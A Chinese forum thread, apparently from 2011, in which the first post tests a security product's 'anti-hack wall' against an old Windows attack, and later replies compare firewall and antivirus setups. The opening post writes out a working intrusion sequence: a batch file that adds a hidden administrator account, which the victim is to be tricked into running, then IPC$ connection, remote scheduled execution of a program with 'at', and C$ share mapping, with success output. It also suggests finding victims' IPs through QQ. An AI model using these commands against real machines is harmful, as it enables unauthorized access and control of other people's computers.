K+之后，又一亮点防御啊

显示全部楼层 · 发表于 2011-8-5 18:18:52

今天安装上K+之后，看到有个防黑墙的功能。顿时心血来潮。做了一下攻击测试。
还是有意外收货的。
１，使用社会工程学(就是模仿黑客攻击啦 )，在目标机器上执行批处理
      @echo off
      net user  testuser 123456  /add
      net localgroup administrators  testuser  /add

２，建立空连接
      net use \\201.108.xxx.xxx\ipc$  /user testuser 123456
      命令成功完成。

３，查看目标机器时间
      net time \\201.108.xxx.xxx
      \\201.108.xxx.xxx 的当前时间是 2011/8/5 下午 04:56
      命令成功完成。

４，新建任务,设定目标机器在什么时间执行程序
      at \\201.108.xxx.xxx  16:57 c:\windows\system32\xxx.exe
      命令成功完成。

５，或者共享映射到本地
      net use z: \\201.108.xxx.xxx\C$
      命令成功完成。

在这个例子中，社会工程学的运用很关键，至于怎么知道对方的ＩＰ什么的，弄个显ＩＰ的ＱＱ呗．但是如果对方在内网就没办法了．

批处理的命令还是非常直白的，万一被发现了可能会惹来一顿ＢＳ和暴打．小心小心．

试了某数字，没有防黑墙也没有防火墙，对这种攻击无可奈何，我表示很担忧．

这种攻击方式很老土，但是某山的防黑墙拦截了，只是界面比较简陋

显示全部楼层 · 发表于 2011-8-5 18:22:45

官方说防黑墙有防火墙的核心功能，并且在不断完善中。但我还是感觉这跟专业防火墙还是有差距的，现在啃毛豆ing

显示全部楼层 · 发表于 2011-8-5 18:23:36

国内区还有防黑强的图片

显示全部楼层 · 发表于 2011-8-5 18:23:39

支持下

显示全部楼层 · 发表于 2011-8-5 18:23:51

有总比没有好

显示全部楼层 · 发表于 2011-8-5 18:25:05

好亮点，我喜欢

显示全部楼层 · 发表于 2011-8-5 18:35:58

其实对方只要把系统自带的网络防火墙打开，关闭共享、你的方法就无效了。

显示全部楼层 · 发表于 2011-8-5 18:42:09

这个还是有一定效果的。。。。
最怕就是黑客的攻击。。。

显示全部楼层 · 发表于 2011-8-5 18:42:47

堕落爱国者发表于 2011-8-5 18:22
官方说防黑墙有防火墙的核心功能，并且在不断完善中。但我还是感觉这跟专业防火墙还是有差距的，现在啃毛豆 ...

现在毛豆防火墙+毒霸2012+金山卫士~感觉无论是兼容性还是资源占用都是非常完美的~当然啦~防御也很OK~

显示全部楼层 · 发表于 2011-8-5 18:45:22

yege0201 发表于 2011-8-5 18:42
现在毛豆防火墙+毒霸2012+金山卫士~感觉无论是兼容性还是资源占用都是非常完美的~当然啦~防御也很OK~

毒霸跟卫士有些功能重复，我换成了360卫士8.1正式版，但关掉了360的网盾和网购保镖

[金山] K+之后，又一亮点防御啊

本帖子中包含更多资源

评分